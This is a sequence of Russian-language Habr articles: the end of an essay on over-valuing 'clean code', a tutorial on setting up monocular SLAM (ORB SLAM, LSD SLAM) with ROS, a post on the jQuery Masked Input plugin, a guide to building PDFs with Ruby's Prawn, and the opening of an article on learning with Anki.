let Shapes = {
Oval(...) {
// 5 уникальных строк вычислений
},
Rectangle(...) {
// 5 уникальных строк вычислений
},
}
```
Затем можно прибегнуть к композиции и собрать из этих базовых методов то, что нужно:
```
let {top, bottom, left, right} = Directions;
function createHandle(directions) {
// 20 строк кода
}
let fourCorners = [
createHandle([top, left]),
createHandle([top, right]),
createHandle([bottom, left]),
createHandle([bottom, right]),
];
let fourSides = [
createHandle([top]),
createHandle([left]),
createHandle([right]),
createHandle([bottom]),
];
let twoSides = [
createHandle([left]),
createHandle([right]),
];
function createBox(shape, handles) {
// 20 строк кода
}
let Rectangle = createBox(Shapes.Rectangle, fourCorners);
let Oval = createBox(Shapes.Oval, fourSides);
let Header = createBox(Shapes.Rectangle, twoSides);
let TextBox = createBox(Shapes.Rectangle, fourCorners);
```
То, что у меня получилось, было в два раза меньше того, что написал коллега. В моём варианте программы полностью отсутствовали повторяющиеся фрагменты! Чистейший код. Если нужно было изменить поведение системы, относящееся к конкретному направлению, или к конкретной фигуре, можно было сделать это в одном месте, а не переписывать несколько методов.
Была уже поздняя ночь (я увлёкся). Я влил результаты рефакторинга в ветку `master` и отправился спать, гордый тем, как я «причесал» неопрятный код коллеги.
Следующее утро
--------------
…прошло не так, как ожидалось.
Руководитель пригласил меня на разговор за закрытыми дверями, в ходе которого вежливо попросил меня откатить мои изменения. Меня это потрясло. Ведь старый код — это же сплошной бардак. А мой код был чистым.
Я нехотя исполнил просьбу, но мне понадобились годы для того, чтобы понять правоту руководителя и коллеги.
Это — одна из ступеней развития программиста
--------------------------------------------
Зацикленность на «чистом коде» и стремление к удалению дубликатов — это одна из ступеней развития программиста, через которую проходили многие из нас. Когда мы не чувствуем уверенности в своём коде, возникает желание привязать наше восприятие самооценки и профессиональной гордости к чему-то такому, что можно измерить. Набор строгих правил линтинга, схема именования сущностей, структура файлов проекта, минимизация дублирующегося кода.
Нельзя автоматизировать борьбу с повторяющимся кодом, но эта борьба, совершенно точно, становится легче с практикой. Обычно после каждого изменения можно сказать о том, больше или меньше одинаковых конструкций стало в проекте. В результате избавление от дублирующихся фрагментов программы воспринимается как улучшение некоего объективного показателя качества кода. И, что хуже, это искажает самосознание программиста: «Я из тех, кто пишет чистый код». Это так же сильно влияет на человека, как и любой другой род самообмана.
Как только программист узнаёт о том, как создавать [абстракции](https://www.sandimetz.com/blog/2016/1/20/the-wrong-abstraction), он вполне может этим увлечься. Он, видя дублирующийся код, будет находить абстракции там, где их нет. А после нескольких лет такой практики дублирующийся код будет обнаруживаться абсолютно везде. Абстрагирование станет новым талантом программиста. Если кто-то скажет ему, что абстрагирование — это добродетель, он это примет. И он начнёт осуждать тех, кто не преклоняется перед «чистотой».
Теперь я понимаю, что у моего «рефакторинга», и у того, как я к нему подошёл, было два серьёзных недостатка:
* Во-первых, я не поговорил с тем, кто написал код. Я переписал код и залил его в репозиторий, не обсудив изменения с автором кода. Даже если мои изменения улучшали бы программу (я больше так не считаю), это — демонстрация совершенно неправильного подхода к подобным делам. В основе здоровой команды программистов лежит постоянное укрепление доверия. А если переписать код одного из членов команды и с ним не посоветоваться — это нанесёт удар по возможности эффективной совместной работы над проектом.
* Во-вторых, за всё надо платить. Мой код пожертвовал возможностью менять требования в угоду сокращения объёма дублирования. Цена этой жертвы была слишком высока. Например, позже нам понадобилось обрабатывать множество особых условий и вариантов поведения для различных маркеров разных фигур. Мою абстракцию для поддержки подобных требований пришлось бы основательно усложнить. А вот в исходную «неаккуратную» версию кода подобные изменения вносились легче лёгкого.
Говорю ли я о том, что вам нужно писать «грязный» код? Нет. Я предлагаю лишь хорошо подумать над тем, что имеют в виду под понятиями «чистый» и «грязный». Что-то приводит вас в негодование? Вы чувствуете в чём-то правильность, красоту, изящество? Уверены ли вы в том, что можете применять подобные понятия, описывая конкретные результаты работы программистов? Каким образом эти понятия влияют на то, как пишут и [модифицируют](https://overreacted.io/optimized-for-change/) код?
Я, конечно, о таких вещах тогда не думал. Я много размышлял о том, как выглядел код — но не о том, как он развивался вместе с командой, состоящей из людей, которым не чуждо ничто человеческое.
Программирование — это путь. Подумайте о том, как далеко вы продвинулись от написанной вами первой строчки кода, до того места, где находитесь сейчас. Я полагаю, что вы, в первый раз извлекая функцию или подвергая класс рефакторингу, с восхищением наблюдали за тем, как эти приёмы упрощают сложный код. Если вы чувствуете гордость за своё дело, то у вас появится стремление к преследованию чистоты кода. Поддайтесь на некоторое время этому стремлению.
Но не останавливайтесь на этом. Не становитесь фанатичным приверженцем чистого кода. Чистый код — это не цель. Это — попытка как-то осмыслить огромную сложность систем, с которыми мы имеем дело. Это защитный механизм, который программист применяет тогда, когда ещё не уверен в том, как некое изменение повлияет на кодовую базу проекта, но ищет ориентиры в море неизвестности.
Пусть идея чистого кода станет вашим ориентиром. А потом — отпустите эту идею.
**Уважаемые читатели!** Как вы относитесь к «чистому коду»?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/484610/ | null | ru | null |
# Vision-based SLAM: монокулярный SLAM
Продолжаем серию статей-уроков по визуальному SLAM уроком о работе с его монокулярными вариантами. Мы уже [рассказывали об установке и настройке окружения](http://habrahabr.ru/company/singularis/blog/277109/), а также проводили общий обзор в [статье о навигации квадрокоптера](http://habrahabr.ru/company/singularis/blog/276595/). Сегодня попробуем разобраться, как работают разные алгоритмы SLAM, использующие единственную камеру, рассмотрим их различия для пользователя и дадим рекомендации по применению.
Для более подробного разбора деталей сегодня мы ограничимся двумя реализациями монокулярного SLAM: ORB SLAM и LSD SLAM. Эти алгоритмы являются наиболее продвинутыми в своем классе из open-source проектов. Также очень распространен [PTAM](http://www.robots.ox.ac.uk/~gk/PTAM/), однако он не так крут, как, например, ORB SLAM.
Извлечение параметров калибровки
--------------------------------
Для всех алгоритмов монокулярного SLAM необходима точная калибровка камеры. Мы это проделали на [прошлом уроке](http://habrahabr.ru/company/singularis/blog/277109/), теперь извлечем параметры камеры. Для используемой нами модели камеры нужно извлечь матрицу камеры (fx, fy, cx, cy) и 5 параметров функции дисторсии (k1, k2, p1, p2, k3). Перейдите в директорию ~/.ros/camera\_info и откройте там YAML-файл с параметрами камеры. Содержимое файла будет выглядеть примерно так (вместо ardrone\_front будет другое имя):
**Файл калибровки**`image_width: 640
image_height: 360
camera_name: ardrone_front
camera_matrix:
rows: 3
cols: 3
data: [569.883158064802, 0, 331.403348466206, 0, 568.007065238522, 135.879365106014, 0, 0, 1]
distortion_model: plumb_bob
distortion_coefficients:
rows: 1
cols: 5
data: [-0.526629354780687, 0.274357114262035, 0.0211426202132638, -0.0063942451330052, 0]
rectification_matrix:
rows: 3
cols: 3
data: [1, 0, 0, 0, 1, 0, 0, 0, 1]
projection_matrix:
rows: 3
cols: 4
data: [463.275726318359, 0, 328.456687172518, 0, 0, 535.977355957031, 134.693732992726, 0, 0, 0, 1, 0]`
Нас интересуют поля camera\_matrix и distortion\_coefficients, они содержат нужные значения в следующем формате:
`camera_matrix:
rows: 3
cols: 3
data: [fx, 0, fy, 0, cx, cy, 0, 0, 1]
distortion_coefficients:
rows: 1
cols: 5
data: [k1, k2, p1, p2, k3]`
Сохраните эти значения, они нам пригодятся далее.
ORB SLAM
--------
### Принцип работы
Алгоритм ORB SLAM в целом не слишком отличается приципом работы от других визуальных SLAM. Из изображений извлекаются фичи (features). Далее при помощи алгоритма [Bundle Adjustment](http://en.wikipedia.org/wiki/Bundle_adjustment) фичи с разных изображений расставляются в 3D-пространстве, одновременно задавая расположение камеры в моменты съемки. Однако здесь есть и особенности. Во всех случаях используется единственный детектор фич – [ORB (Oriented FAST and Rotated BRIEF)](http://docs.opencv.org/3.0-beta/doc/py_tutorials/py_feature2d/py_orb/py_orb.html). Это очень быстрый детектор (что позволяет достигать реалтайма без использования GPU), а получаемые ORB-дескрипторы фич с высокой степенью инвариантны к углу зрения, повороту камеры и освещенности. Это позволяет алгоритму с высокой точностью и надежностью отслеживать замыкания циклов, а также обеспечивает высокую надежность при релокализации. Алгоритм в итоге принадлежит к классу так называемых feature-based. ORB SLAM строит неплотную (sparse) карту местности, однако существует возможность построить плотную карту на основе изображений ключевых кадров. Поближе познакомиться с алгоритмом можно в [статье разработчиков](http://webdiis.unizar.es/~raulmur/MurMontielTardosTRO15.pdf).
### Запуск
Мы не описали процесс установки ORB SLAM в предыдущем уроке, поэтому остановимся на этом здесь. В дополнение к уже установленному окружению нам понадобится установить [Pangolin](http://github.com/stevenlovegrove/Pangolin) (не клонируйте репозиторий в ROS workspace):
```
git clone https://github.com/stevenlovegrove/Pangolin.git
cd Pangolin
mkdir build
cd build
cmake -DCPP11_NO_BOOST=1 ..
make -j
```
Далее установим собственно ORB SLAM (снова не стоит клонировать исходники в workspace):
```
git clone https://github.com/raulmur/ORB_SLAM2.git ORB_SLAM2
cd ORB_SLAM2
chmod +x build.sh
./build.sh
```
Для использования пакета в ROS необходимо добавить путь к бинарникам в ROS\_PACKAGE\_PATH (замените PATH на путь, куда вы установили ORB SLAM):
```
echo export ROS_PACKAGE_PATH=${ROS_PACKAGE_PATH}:PATH/ORB_SLAM2/Examples/ROS >> ~/.bashrc
source ~/.bashrc
```
Теперь нам потребуется внести данные калибровки камеры и настроек ORB SLAM собственно в файл настроек. Перейдем в директорию Examples/Monocular и скопируем файл TUM1.yaml:
```
cd Examples/Monocular
cp TUM1.yaml our.yaml
```
Откроем скопированный файл our.yaml и заменим параметры калибровки камеры на полученные выше, а также выставим FPS:
**Файл настройки**`%YAML:1.0
#--------------------------------------------------------------------------------------------
# Camera Parameters. Adjust them!
#--------------------------------------------------------------------------------------------
# Camera calibration and distortion parameters (OpenCV)
Camera.fx: 563.719912
Camera.fy: 569.033809
Camera.cx: 331.711374
Camera.cy: 175.619211
Camera.k1: -0.523746
Camera.k2: 0.306187
Camera.p1: 0.011280
Camera.p2: 0.003937
Camera.k3: 0
# Camera frames per second
Camera.fps: 30.0
# Color order of the images (0: BGR, 1: RGB. It is ignored if images are grayscale)
Camera.RGB: 1
#--------------------------------------------------------------------------------------------
# ORB Parameters
#--------------------------------------------------------------------------------------------
# ORB Extractor: Number of features per image
ORBextractor.nFeatures: 1000
# ORB Extractor: Scale factor between levels in the scale pyramid
ORBextractor.scaleFactor: 1.2
# ORB Extractor: Number of levels in the scale pyramid
ORBextractor.nLevels: 8
# ORB Extractor: Fast threshold
# Image is divided in a grid. At each cell FAST are extracted imposing a minimum response.
# Firstly we impose iniThFAST. If no corners are detected we impose a lower value minThFAST
# You can lower these values if your images have low contrast
ORBextractor.iniThFAST: 20
ORBextractor.minThFAST: 7
#--------------------------------------------------------------------------------------------
# Viewer Parameters
#--------------------------------------------------------------------------------------------
Viewer.KeyFrameSize: 0.05
Viewer.KeyFrameLineWidth: 1
Viewer.GraphLineWidth: 0.9
Viewer.PointSize:2
Viewer.CameraSize: 0.08
Viewer.CameraLineWidth: 3
Viewer.ViewpointX: 0
Viewer.ViewpointY: -0.7
Viewer.ViewpointZ: -1.8
Viewer.ViewpointF: 500`
Сохраним файл. Теперь мы можем запустить ORB SLAM (выполните три команды в разных вкладках терминала):
```
roscore
```
```
rosrun usb_cam usb_cam_node _video_device:=dev/video0 ← Ваше устройство может отличаться
```
```
rosrun ORB_SLAM2 Mono ../../Vocabulary/ORBvoc.txt our.yaml /camera/image_raw:=/usb_cam/image_raw
```
Если все прошло успешно, то вы должны увидеть два окна:
Немного подвигайте камеру в плоскости изображения, чтобы инициализировать SLAM:
Все это замечательно, однако ORB SLAM был разработан как ROS-независимый пакет. Бинарник, который мы запускали, на самом деле всего лишь пример использования алгоритма в ROS. По неясной логике разработчики не включили в этот пример публикацию траектории движения, и лишь сохраняют её в виде текстового файла KeyFrameTrajectory.txt после завершения работы. Хотя такая публикация займет несколько строк кода.
### Настройка параметров
Алгоритм предоставялет совсем немного параметров для настройки, и они предельно точно описаны в файле запуска, что приведен выше.
### Когда использовать ORB SLAM?
Если Вам нужен быстрый алгоритм, который должен работать, например, onboard, и окружение не содержит крупных плоских однотонных объектов – тогда Вам отлично подойдет ORB SLAM.
LSD SLAM
--------
### Принцип работы
Мы уже вкратце затрагивали принцип работы LSD SLAM в [статье об опытах навигации AR.Drone](http://habrahabr.ru/company/singularis/blog/276595/). Более подробный разбор алгоритма явно не вписывается в формат урока, почитать о нем можно в [статье разработчиков](http://vision.in.tum.de/_media/spezial/bib/engel14eccv.pdf).
### Запуск
После того, как Вы установили LSD SLAM (руководствуясь предыдущим уроком), для запуска необходимо подготовить:
1. Файл калибровки камеры camera.cfg
Создайте файл camera.cfg в директории ~/ros\_workspace/rosbuild/package/lsd\_slam/lsd\_slam\_core/calib
и скопируйте параметры калибровки в первую строку camera.cfg по такому образцу (обратите внимание на то, что пятый параметр дисторсии не используется):
`fx fy cx cy k1 k2 p1 p2
640 360
crop
640 480`
В следующей строке установите ширину и высоту исходного изображения, а последние строчки оставьте без изменений.
2. Файл запуска lsd\_slam.launch
```
xml version="1.0"?
```
Запустите LSD SLAM (из папки с файлом запуска):
```
roslaunch lsd_slam.launch
```
Если все получилось, Вы должны увидеть два окна:
Также запустите просмотрщик облаков точек из поставки LSD SLAM (в другом окне терминала):
```
rosrun lsd_slam_viewer viewer
```
Просмотрщик должен выглядеть примерно так:
### Настройка параметров
Алгоритм предоставляет несколько параметров для настройки, самые важные – вот эти:
* **minUseGrad** – минимальный градиент интенсивности для создания новой 3D-точки. Чем меньше значение, тем лучше алгоритм работает с однотонными объектами и тем плотнее карта. Однако чем ниже это значение, тем более явно сказываются ошибки ректификации камеры на качестве SLAM. Кроме того, меньшие значения значительно снижают производительность алгоритма.
* **cameraPixelNoise** – шум значений интенсивности пикселей. Нужно установить в значение больше, чем настоящий шум матрицы, чтобы учесть ошибки дисктретизации и интерполяции.
* **useAffineLightningEstimation** – можно попробовать включить, чтобы устранить проблемы с автоэкспозицией.
* **useFabMap** – включает openFabMap для поиска циклов.
### Рекомендации
1. Запускайте алгоритм на производительном CPU. В отличие от ORB SLAM, LSD SLAM выставляет значительные требования к железу. Кроме того, алгоритм обязательно должен работать в реалтайме, в противном случае о приемлемом качестве SLAM не может быть и речи.
2. Как можно более точно откалибруйте камеру. Direct методы, к которым относится LSD SLAM, очень чувствительны к качеству калибровки.
3. По возможности используйте global-shutter камеру. Rolling shutter можно использовать (собственно, мы использовали только такой тип затвора), но результаты будут хуже.
### Когда использовать LSD SLAM?
Если Вам необходима плотная карта местности (например, для построения карты препятствий), или окружение не содержит достаточно фич (features), то есть включает слаботекстурированные крупные объекты, и Ваша платформа предоставляет достаточные вычислительные возможности, тогда Вам подойдет LSD SLAM.
Feature-based vs. Direct
------------------------
Сравнивая монокулярные алгоритмы, основанные на фичах, с так называемыми direct алгоритмами, использующими изображения целиком, создатель LSD SLAM Jacob Engel показал на одной из своих презентаций такую таблицу (перевод наш):
Сравнение алгоритмов мнокулярного SLAM| Feature-based | Direct |
| Используют только фичи (например, углы) | Используют полное изображение |
| Быстрее | Медленнее (но хорошо распараллеливаются) |
| Легко удалять шум (outliers) | Не так просто удалить шум |
| Устойчивы к rolling shutter | Неустойчивы к rolling shutter |
| Используют малую часть информации из изображений | Используют более полную информацию |
| Не требуют сложной инициализации | Требуют хорошей инициализации |
| более 20 лет интенсивной разработки | около 4-х лет исследований |
Сложно что-то добавить.
Общие рекомендации по применению
--------------------------------
Все монокулярные алгоритмы обладают набором схожих требований и ограничений, а именно:
1. Необходимость точной калибровки камеры. Не так критично для feature-based алгоритмов.
2. Невозможность определить масштаб без помощи внешних сенсоров или пользователя.
3. Требования к камере: высокий FPS + широкий угол обзора. Эти параметры связаны как друг с другом, так и с максимальной скоростью перемещения камеры.
Исходя из таких особенностей и нашего опыта использования подобных алгоритмов, сделаем вывод, что монокулярный SLAM нужно применять, когда:
1. Вы строго ограничены одной камерой;
2. у Вас есть возможность оценить масштаб локализации и карты за счет внешних источников либо для решения Вашей задачи масштаб не имеет значения;
3. характеристики камеры удовлетворяют указанным выше требованиям и позволяют провести точную калибровку и ректификацию изображения.
На этом заканчиваем сегодняшний урок, в следующий раз мы рассмотрим алгоритмы SLAM, использующие стереокамеры и камеры глубины.
Источники
---------
[Предыдущий урок – установка и настройка окружения](http://habrahabr.ru/company/singularis/blog/277109/)
[Сайт разработчиков LSD SLAM](http://vision.in.tum.de/research/vslam/lsdslam)
[Сайт разработчиков ORB SLAM](http://webdiis.unizar.es/~raulmur/orbslam/) | https://habr.com/ru/post/277537/ | null | ru | null |
# Супер-юзабильные формы
Как-то на хабре разгорелся спор, как заставить пользователя вводить дату в правильном формате, было множество интересных решений, но заставлять пользователя совершенно не надо — пусть за пользователя основную работу делают машины :-).
На помощь приходит замечательный скрипт «Masked Input Plugin», который позволяет назначить для каждой формы маску, по которой данные будут заполнятся.
Возможно Вы не совсем поняли, но лучше один раз увидеть, чем сто раз услышать.
Живой пример
------------
[](http://chernev.ru/super-yuzabilnye-formy.html#super_form)
###### К сожалению, живой пример на хабру не вставить, нажмите на картинку чтобы его посмотреть.
Реализация форм с маской
------------------------
Как вы уже поняли, для начала нам понадобится скрипт «Masked Input Plugin» написанный на jQuery, его размер поистине радует 2.8 килобайта.
> Такой маленький, а столько пользы!
>
>
И так, пример использования скрипта:
```
jQuery(function($){
$("#date").mask("99/99/9999");
$("#phone").mask("(999) 999-9999");
$("#tin").mask("99-9999999");
$("#ssn").mask("999-99-9999");
});
```
Этот скрипт будет добавлять узнанную маску для форм с id: `date`, `phone`, `tin`, `ssn`.
Теперь о масках символов:
* a — Все алфавитные значения (A-Z,a-z)
* 9 — Все цифровые значения (0-9)
* \* — Любые алфавитно-цифровые значения (A-Z,a-z,0-9)
Теперь более расширенный функции:
```
jQuery(function($){
$("#product").mask("99/99/9999",{placeholder:" "});
});
```
Этот скрипт позволяет заменить стандартный для символ нижнего подчеркивания на любой котовый вы хотите, в данном сулчае он заменяется на пробел.
```
jQuery(function($){
$("#product").mask("99/99/9999",{completed:function(){alert("Вы ввели: "+this.val());}});
});
```
Этот позволяет исполнять любую функцию по заверению ввода в форму.
Вкратце функционал я описал, более подробно вы можете прочитать на сайте автора этого замечательного скрипта.
> [Посетить страницу «Masked Input Plugin»](http://digitalbush.com/projects/masked-input-plugin/)
>
>
>
> [Подписаться на заметки Чернева по RSS](http://feeds.feedburner.com/chernev/)
>
> | https://habr.com/ru/post/37249/ | null | ru | null |
# Генерация PDF на сервере в Ruby
Чуть более месяца назад я устроился верстальщиком в старт-ап, в команду Ruby-разработчиков. Так повезло, что команда оказалась очень хорошей и моё стремление учиться совпало с их желанием получить хорошего специалиста.
HTML-вёрстка сама по себе имеет немного ценности и не единственное, чем можно нагрузить верстальщика.
На нашем сайте пользователь оформляет себе покупку и ему на почту уходит подтверждение с электронным билетом. в котором указаны детали заказа, а так как в хорошем проекте всё должно быть хорошо и ярко, дизайнер нарисовал макет квитанции. Ну а мне, как верстальщику было поручено реализовать это всё в коде.
#### Варианты генераторов для Ruby
Согласно сайту [Ruby Toolbox](https://www.ruby-toolbox.com/categories/pdf_generation) существует два принципиальных подхода к генерации PDF-файлов:
* [wkhtmltopdf](http://code.google.com/p/wkhtmltopdf/) и различные обёртки на него
* [Prawn](https://github.com/prawnpdf/prawn)
Первый вариант подразумевает генерацию HTML-страницы и конвертацию её в PDF, в то время как второй позволяет, по факту, работать с canvas и генерировать документ без дополнительных прослоек.
Я выбрал вариант с использованием Prawn (по большей части, конечно, по тому, что предыдущая версия PDF-файла генерировалась этим способом) даже не смотря на то, что мне пришлось вынырнуть из привычного мне мира HTML и CSS
Тех, кому интересно приглашаю под хабракат.
#### Особенности работы с Prawn
Я не стану рассказывать, как подключить этот gem к проекту и настроить его — на хабре уже была аналогичная [статья](http://habrahabr.ru/post/120388/). Я расскажу про особенности вёрстки документов с использованием этого гема.
##### Настройки страницы
Первое, на что я наткнулся — формат бумаги. По умолчанию. для нового документа Prawn использует размер бумаги Letter.
Кроме того, есть возможность указать поля margin, фоновое изображение.
Так же стоит помнить, что работаем мы не с пикселями, а с типографскими пунктами.
```
img = "#{Prawn::DATADIR}/images/background.jpg"
Prawn::Document.generate('hello.pdf', :page_size => "A4", :margin => 20, :background => img) do |pdf|
pdf.text 'Hello World!'
end
```
Данный код генерирует документ с именем hello.pdf на листе размера A4, с полями по 20 пунктов, фоновым изображением background.jpg и текстом 'Hello World!'
##### Вывод текстовых блоков
Генератор поддерживает два типа вывода текста — **text** и **text\_box**. В первом случае просто выводится строка текста в месте, где на данный момент установлен курсор. Во втором выводится контейнер с текстом, которому можно задать размеры через опции **:width** и **:height**, обтекание через опцию **:overflow** (принимающую значения **:expand** и **:shrink\_to\_fit**) границы и, главное, абсолютное положение через параметр **:at**.
Если в приведённом мною ранее коде заменить 'Hello World!' на 'Привет, Хабр!' то мы резонно получим проблему со шрифтами.
В своём проекте мы используем проприоритарный шрифт Proxima Nova. Для того, чтобы генератор знал, какой мы хотим использовать шрифт и с какими стилями текста будем работать, необходимо явно указать шрифты.
```
font_families: {
proxima: {
bold: "assets/fonts/proximanova-bold-webfont.ttf",
normal: "assets/fonts/proximanova-reg-webfont.ttf",
light: "assets/fonts/ProximaNova-Light.ttf"
}
}
Prawn::Document.generate('hello.pdf') do |pdf|
pdf.font_families.update("Proxima Nova" => @opts[:font_families][:proxima])
pdf.font "Proxima Nova", size: 12, style: bold
pdf.text 'Hello World!'
end
```
Этот код выведет тот же самый текст, размером в 12 пунктов используя шрифт proximanova-bold-webfont.ttf.
Цвет шрифту задаётся через атрибут документа **fill\_color** и может иметь шестнадцатеричное значение.
```
fill_color = "ffffff"
```
Кроме того, можно указать междустрочный интервал через **default\_leading** или указав прямо в текстовом блоке параметр **:leadig**. Отступы между параграфами задаются через **:indent\_paragraphs**.
При печати текстов зачастую используется неразрывный пробел. А так как мы работаем не с HTML — документом, где можно просто указать код то приходится идти на хитрости и подставлять специальный метод: **Prawn::Text::NBSP**.
Так же prawn понимает такие параметры, как **:kerning** и **:character\_spacing** для кернинга и межбуквенного интервалов соответственно. Кернинг принимает либо **true** либо **false**, в то время, как **character\_spacing** задаётся в пунктах.
```
default_leading 5
text string, :kerning => true, :character_spacing => 5
move_down 20
text string, :leading => 10, :indent_paragraphs => 60
move_down 20
text string + '#{Prawn::Text::NBSP * 10}' + string
```
Данный код устанавливает междустрочный интервал в 5 пунктов, выводит строку с кернингом и межбуквенным расстоянием в 5 пунктов, опускает курсор на 20 пунктов, выводит строку с междустрочным интервалом в 10 пунктов и расстоянием между параграфами в 60 пунктов. Спускает курсор ещё на 20 пунктов и выводит две строки, разделённые десятью неразрывными пробелами.
Из дополнительных возможностей при работе с текстом стоит упомянуть возможность вращения текста через параметр **:rotate**, который принимает в качестве значения угол в градусах. Так же можно использовать опциональный параметр **:rotate\_around** для того, чтобы указать направление вращения (по умолчанию **:upper\_left**) и возможность строчного форматирования в духе HTML:
```
text "Эта строка использует " + "все атрибуты тега font в " + "одном месте. ", :inline_format => true
```
Но так как моя задача состояла не в печати книги, а в выводе информации о заказе и электронного билета, сильно в подробности работы с текстом я не вдавался.
##### Позиционирование
В prawn элементы позиционируются либо относительно, начиная с верха документа путём спуска курсора вниз через **move\_down**, либо же абсолютно. Именно с абсолютным позиционированием и возникает основная сложность, так как оно происходит не от верхнего левого угла, как можно было бы предположить, а от нижнего левого, как будто при построении графиков. Именно эта особенность, а так же то, что единицы измерения — пункты, а не привычные пиксели и доставила мне больше всего трудностей при вёрстке.
```
text_box 'test', :at[10,100]
```
Этот код выведет строку 'test' внизу страницы в 10 пунктах от левого поля страницы и в 100 пунктах от нижнего.
##### Графические примитивы
В макете, нарисованном нашим дизайнером присутствовало достаточно много графических элементов, которые не очень то хотелось вставлять изображениями. Именно для таких случаев в генераторе предусмотрена возможность работы с графическими примитивами — линиями(**horizontal\_line**, **vertical\_line**), окружностями(**fill\_circle** и **stroke\_circle**) и полигонами(**fill\_polygon** и **stroke\_polygon**) с заливкой и без.
Цвет заливки используется такой же, как и цвет текста и тоже устанавливается через **fill\_color**, цвет контурных линий же указывается через **stroke\_color**. Кроме того, можно указать ширину линий через параметр **line\_width**
Вот пример функции, которая рисует круг с обводкой, линией по центру и указателем-треугольником
```
def draw_circle_part(colors, left, top, pdf)
pdf do
fill_color colors['circle_1']
fill_polygon [left['circles_left'], top['polygon_2_top']], [left['line_1'], top['polygon_1_top']], [left['line_2'], top['polygon_1_top']]
fill_color colors['circle_2']
fill_circle [left['circles_left'], top['circles_top']], 28
stroke_color colors['circle_3']
line_width 1.5
stroke_circle [left['circles_left'], top['circles_top']], 28
stroke_color colors['circle_4']
stroke do
horizontal_line left['line_1'], left['line_2'], :at => top['circles_top']
end
line_width 1
end
end
```
Так же, полезным может оказать возможность рисовать кривые и произвольные линии. Для этого используются методы **stroke.line** и **stroke.curve** для отрисовки линий и кривых из одной указанной точки в другую, а так же **stroke.line\_to** и **stroke.curve\_to** для линий из текущего положения курсора в точку. При том, у кривых можно задать параметр **:bounds**, указывающий точки через которые будет проходить кривая. При том для построения будет применяться преобразование Безье.
```
stroke do
line [300,200], [400,50]
curve [500, 0], [400, 200], :bounds => [[600, 300], [300, 390]]
end
```
##### Изображения
При работе с изображениями стоит очень внимательно относиться к размерам и помнить, что лучше подготовить изображение на 200% большее, чем в макете и затем задать в prawn явно размеры, позволив генератору уменьшать изображение, чем отдавать точно такое же как в макете.
По личному опыту, когда я вставлял иконки для блоков деталей заказа и использовал вырезанные прямо из макета изображения с оригинальными размерами, я получал замыленные границы как при неудачном увеличении изображения. Эмпирическим путём для себя установил идеальное соотношение вставляемого изображения к исходному как 2 к 1. Благо все объекты в макете были отрисованы как графические примитивы и проблем с изменениями размеров не возникло.
Изображение по умолчанию имеет оригинальный размер и помещается в точку, где установлен курсор. Для абсолютного позиционирования используется параметр **:at**. Относительно же позиционировать изображение можно через параметр **:position**, который принимает значения **:left**, **:center**, **:right** или же число пунктов от левой границы и параметр **:vposition**, принимающий значения **:top**, **:center**, **:bottom** или отступ от нижней границы в пунктах.
Высоту и ширину изображения можно задать через **:height** и **:width** соответственно. При том, если указан только один параметр, второй будет подобран автоматически с сохранением пропорций. Аналогично можно указать не точные размеры а пропорциональное изменение изображения через **:scale**.
```
image "assets/images/details.png", :at => [25, 641], :height => 22
image "assets/images/prawn.png", :scale => 0.7, :position => :right, :vposition => 100
```
##### Таблицы
Практически невозможно сверстать квитанцию не используя таблиц. Для создания таблиц prawn предусматривает два метода: **table** и **make\_table**. Оба метода создают таблицу с той лишь разницей, что table вызывает метод отрисовки сразу после создания таблицы, в то время как make\_table всего лишь возвращать созданную таблицу.
Самый удобный способ создания таблицы — это передача в метод массива массивов данных, где каждый внутренний массив представляет собой одну строку. Если передать в массиве объект, созданный через make\_table будет создана таблица внутри таблицы.
Так же в таблицу можно передавать хэши с ключами :image для изображений и **:content** для вставки форматированного текста.
```
cell_1 = make_cell(:content => "this row content comes directly ")
cell_2 = make_cell(:content => "from cell objects")
two_dimensional_array = [ ["..."], ["subtable from an array"], ["..."] ]
my_table = make_table([ ["..."], ["subtable from another table"], ["..."] ])
image_path = "#{Prawn::DATADIR}/images/stef.jpg"
table([ ["just a regular row", "", "", "blah blah blah"],
[cell_1, cell_2, "", ""],
["", "", two_dimensional_array, ""],
["just another regular row", "", "", ""],
[{:image => image_path}, "", my_table, ""]])
```
Данный код выведет вот такую таблицу (пример из документации):
Для таблицы можно указать следующие опции:
* **:position** — по аналогии с изображением, при относительном позиционировании выравнивает таблицу либо по краям, либо по центру, либо с отступом от левой границы документа
* **:column\_widths** — принимает либо массив с размерами для каждой колонки, либо объект в котором ключ это номер колонки, а значение — ширина (например {2 => 240})
* **:width** — ширина таблицы. По умолчанию, таблица имеет ширину контента
* **:row\_colors** — массив цветов для строк. В случае, если в массиве меньше цветов, чем строк в таблице, цвета будут браться из массива циклически.
Кроме того, можно задавать параметры для ячеек:
* **:padding** — по аналогии с CSS задает отступы контента от границ ячеек и, как и в CSS параметры идут в порядке [верхний отступ, правый отступ, нижний отступ, левый отступ]
* **:borders** — массив границ, которые будут установлены у ячейки. По умолчанию — все границы видны.
Это далеко не полный список свойств таблиц, но их хватит для знакомства с таблицами в prawn и для решения большинства прикладных задач.
#### Заключение
По итогам работы с данным генератором могу сказать следующее — для моей конкретной задачи Prawn, даже не смотря на то, что код, который требуется набрать для генерации выглядит весьма громоздко, подошел практически идеально, так как сама квитанция не имеет роута в проекте, и генерируется из набора данных в формате JSON, полученных от backend'a.
Лично мне было удобно выносить повторяющиеся блоки prawn-кода в отдельные функции и просто вызывать их в нужных местах, использовать Ruby-код для разбора пришедшего набора данных, итераций по объектам, что весьма проблематично сделать на HTML.
Пример получившегося у меня документа с данными на двух пассажиров по сложным маршрутам можно скачать тут: [Электронный билет](http://estate.allvbg.ru/ElectronicTicket1364922665.pdf)
Однако, если требуется просто предоставить pdf-версию уже существующей на сайте страницы, то проще и выгоднее использовать [PDFKit](https://github.com/pdfkit/pdfkit), который умеет создавать PDF-файлы напрямую из указанной ему HTML-страницы. | https://habr.com/ru/post/157199/ | null | ru | null |
# Две истории как ANKI может вам помочь выучить иностранный язык и подготовиться к интервью
Я всегда считал, что ленивый программист это хороший программист. Почему? Потому что попроси трудолюбивого сделать что-то, он пойдет и сделает. А ленивый программист потратит в 2-3 раза больше времени, но напишет скрипт, который будет — это делать за него. Может быть, в первый раз на это будет потрачено неоправданно много времени, но при условии повторяющихся задач этот подход очень быстро окупается. Я считаю себя ленивым программистом. Это была преамбула, а теперь перейдем к делу.
История первая
--------------
